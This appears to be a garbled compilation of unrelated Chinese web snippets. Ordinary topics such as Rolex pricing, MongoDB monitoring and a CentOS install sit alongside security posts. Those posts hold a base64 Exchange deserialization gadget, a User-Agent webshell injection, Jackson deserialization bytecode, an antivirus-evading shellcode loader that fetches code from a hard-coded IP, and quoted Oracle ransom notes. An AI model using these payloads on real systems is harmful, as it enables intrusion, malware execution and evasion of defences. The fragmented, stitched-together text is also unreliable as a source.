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CVE-2021-42321 - Microsoft Exchange Server 远程代码执行漏洞

此漏洞影响本地 Exchange Server,包括用户在 Exchange 混合模式下使用的服务器。该漏洞目前已发现在野利用。...AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAgAAAA9Gb3JlZ3JvdW5kQnJ1c2gPQmFja2dyb3VuZEJydXNoAQECAAAABgMAAABtPExpbmVhckdyYWRpZW50QnJ1c2ggeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiI+PC9MaW5lYXJHcmFkaWVudEJydXNoPgYEAAAA6w08UmVzb3VyY2VEaWN0aW9uYXJ5DQp4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIg0KeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQp4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiINCnhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkNvbmZpZ3VyYXRpb247YXNzZW1ibHk9U3lzdGVtLkNvbmZpZ3VyYXRpb24iDQp4bWxuczpyPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5SZWZsZWN0aW9uO2Fzc2VtYmx5PW1zY29ybGliIj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJ0eXBlIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHM6VHlwZX0iIE1ldGhvZE5hbWU9IkdldFR5cGUiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM...DQogICAgICAgICAgICA8czpCb29sZWFuPnRydWU8L3M6Qm9vbGVhbj4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXRNZXRob2QiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgYzpDb25maWd1cmF0aW9uTWFuYWdlci5BcHBTZXR0aW5nc30iIE1ldGhvZE5hbWUgPSJTZXQiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM

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劳力士到底还算不算奢侈品?

(图片说明:AW上出售的产品来自于厂商或者特许经销商) ? (图片说明:AW上劳力士手表页面及劳力士绿水鬼手表) AW从劳力士厂家或者授权店进货。由于AW和它们关系密切,所以可以以较低价格进到货。...如果一款手表的需求不高,那么AW就有机会以更低价格买到,出售时也就可以提供更大折扣。相反,如果一款手表很火,那么AW也很难以低价进货,在出售时候也没有多少折扣可以提供。...这个项目还会从劳力士、授权店和AW的不同角度来看这三个问题。 我爬取了AW的网站,获得了2500个劳力士手表数据,包括价格、零售价、是否有货、保修期以及产品名称。...(图片说明:AW有货等于市场需求不足) ? (图片说明:AW在线有货的表折扣更大) ? (图片说明:在AW上,没货的表更贵,有货的表更便宜) ▍爆款手表 你也许会问,哪些手表比较流行?...(图片说明:AW上的“摇钱树”款劳力士) ▍当在线销售更贵时 我们开头提到,有80款手表在AW上的零售数据信息缺失,这其实并不是因为AW疏忽或者没有这些信息,而是因为这些产品的零售价比AW的售价还便宜。

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史上最全腾讯云数据库(MongoDB)监控最佳实践

MongoDB 节点 CPU 使用率 > 80% 注:CPU 使用率过高会影响在服务器正常运行程序等系统层面问题。...内存使用率 > 80% 注:内存使用率过高容易引起服务响应速度变慢,服务器登录不上等系统层面问题。 Qr>100,Qw>100,Ar>100,Aw>100 注: 1....Qr|Qw 为等待读/写的队列长度, Ar|Aw 为执行读/写操作客户端数量,都为0的话表示MongoDB毫无压力。 2. MongoDB负载高时,命令来不及处理,MongoDB将命令放入队列。...Qr|Qw ,Ar|Aw如果一直0说明很健康,如果过高的话那就说明MongoDB处理起来很慢了,有可能有慢查询,锁表排队等现象(Ar|Aw 表示引擎层当前时刻获取“ticket令牌”执行读写操作的请求数

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挖洞经验 | 构造User-Agent请求头内容实现LFI到RCE提权

> 折腾了一阵后,我差点忘了我是可以向目标网站服务器写东西的啊,于是我就又在User-Agent头中构造了以下Payload: User-Agent: <?...Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI...PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm 9ybT0iZm 9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm...PHP-File-Writer/blob/master/lfi-writer.php,其大概造型为: $a = base64_decode(‘webshell_base64_encoded_code_here’); 然后我们向服务器中写入了一个名为...nadeshot.php的文件: $file = fopen(‘nadeshot.php’,’w’); 然后服务器会把base64编码的上述文件写入nadeshot.php文件: echo fwrite

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安全研究 | 构造User-Agent请求头内容实现LFI到RCE提权

> 折腾了一阵后,我差点忘了我是可以向目标网站服务器写东西的啊,于是我就又在User-Agent头中构造了以下Payload: User-Agent: <?...Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI...PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm 9ybT0iZm 9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm...PHP-File-Writer/blob/master/lfi-writer.php,其大概造型为: $a = base64_decode(‘webshell_base64_encoded_code_here’); 然后我们向服务器中写入了一个名为...nadeshot.php的文件: $file = fopen(‘nadeshot.php’,’w’); 然后服务器会把base64编码的上述文件写入nadeshot.php文件: echo fwrite

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Jackson 反序列化远程代码执行漏洞复现

Fastjson 和 Jackson Fastjson要求不是很严格,所以当添加key时时不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显...yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw

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使用VMware15安装Linux(CentOS6.5)

[1593571534159](https://imgconvert.csdnimg.cn/aHR0cHM6Ly90aWFuY2l4aW9uZy5jb2RpbmcubmV0L3AvQmxvZ0lNRy9kL0Jsb2dJTUcvZ2l0L3Jhdy9tYXN0ZXIvYmxvZy8yMDIwMDcwMS8xNTkzNTcxNTM0MTU5LnBuZw...[1593571614446](https://imgconvert.csdnimg.cn/aHR0cHM6Ly90aWFuY2l4aW9uZy5jb2RpbmcubmV0L3AvQmxvZ0lNRy9kL0Jsb2dJTUcvZ2l0L3Jhdy9tYXN0ZXIvYmxvZy8yMDIwMDcwMS8xNTkzNTcxNjE0NDQ2LnBuZw...[1593571717592](https://imgconvert.csdnimg.cn/aHR0cHM6Ly90aWFuY2l4aW9uZy5jb2RpbmcubmV0L3AvQmxvZ0lNRy9kL0Jsb2dJTUcvZ2l0L3Jhdy9tYXN0ZXIvYmxvZy8yMDIwMDcwMS8xNTkzNTcxNzE3NTkyLnBuZw...[1593571859883](https://imgconvert.csdnimg.cn/aHR0cHM6Ly90aWFuY2l4aW9uZy5jb2RpbmcubmV0L3AvQmxvZ0lNRy9kL0Jsb2dJTUcvZ2l0L3Jhdy9tYXN0ZXIvYmxvZy8yMDIwMDcwMS8xNTkzNTcxODU5ODgzLnBuZw...[1593572138046](https://imgconvert.csdnimg.cn/aHR0cHM6Ly90aWFuY2l4aW9uZy5jb2RpbmcubmV0L3AvQmxvZ0lNRy9kL0Jsb2dJTUcvZ2l0L3Jhdy9tYXN0ZXIvYmxvZy8yMDIwMDcwMS8xNTkzNTcyMTM4MDQ2LnBuZw

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测试免杀过卡巴斯基和window defender

) window.mainloop() 第一步: 生成payload 第二步: 放如小框框中,点击生成,会出现两个值: 第一个值为base64后的需要分离的shellcode,放到服务器中...用python开一个小服务器(可以去访问看看,通没通)....加载器py: import base64,pickle shellcode =b'gASV4gMAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFjDAwAACmltcG9ydCBjb2RlY3MsdXJsbGliLnJlcXVlc3QsY3R5cGVzCmNvZGUgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwOi8vNDcuMTEyLjI0Mi43MC9jb2RlLnR4dCcpLnJlYWQoKQpjb2RlID0gYmFzZTY0LmI2NGRlY29kZShjb2RlKQpjb2RlID1jb2RlY3MuZXNjYXBlX2RlY29kZShjb2RlKVswXQpjb2RlID0gYnl0ZWFycmF5KGNvZGUpCgpjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CgpwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihjb2RlKSkuZnJvbV9idWZmZXIoY29kZSkKICAgIApzdHJpbmc9YidZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLQW9nSUNBZ0lDQWdJR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHdkSElwTENBS0lDQWdJQ0FnSUNCaWRXWXNJQW9nSUNBZ0lDQWdJR04wZVhCbGN5NWpYMmx1ZENoc1pXNG9ZMjlrWlNrcENpQWdJQ0FwJwpldmFsKHN0cihiYXNlNjQuYjY0ZGVjb2RlKHN0cmluZyksJ3V0Zi04JykpCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKAogICAgICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICAgICAgY3R5cGVzLmNfaW50KDApLCAKICAgICAgICBjdHlwZXMuY191aW50NjQocHRyKSwgCiAgICAgICAgY3R5cGVzLmNfaW50KDApLCAKICAgICAgICBjdHlwZXMuY19pbnQoMCksIAogICAgICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoY3R5cGVzLmNfaW50KGhhbmRsZSksY3R5cGVzLmNfaW50KC0xKSkKlIWUUpQu

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【红色警报】近期Oracle数据库遭受比特币勒索攻击原因揭秘和预防

occurred at recursive SQL level 1 ORA-20315: 你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE...Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE...Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE...database.');    DBMS_SYSTEM.KSDWRT(2, '你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE...2012年2月,中文版putty等SSH远程管理工具被曝出存在后门,该后门会自动窃取管理员所输入的SSH用户名与口令,并将其发送至指定服务器上。

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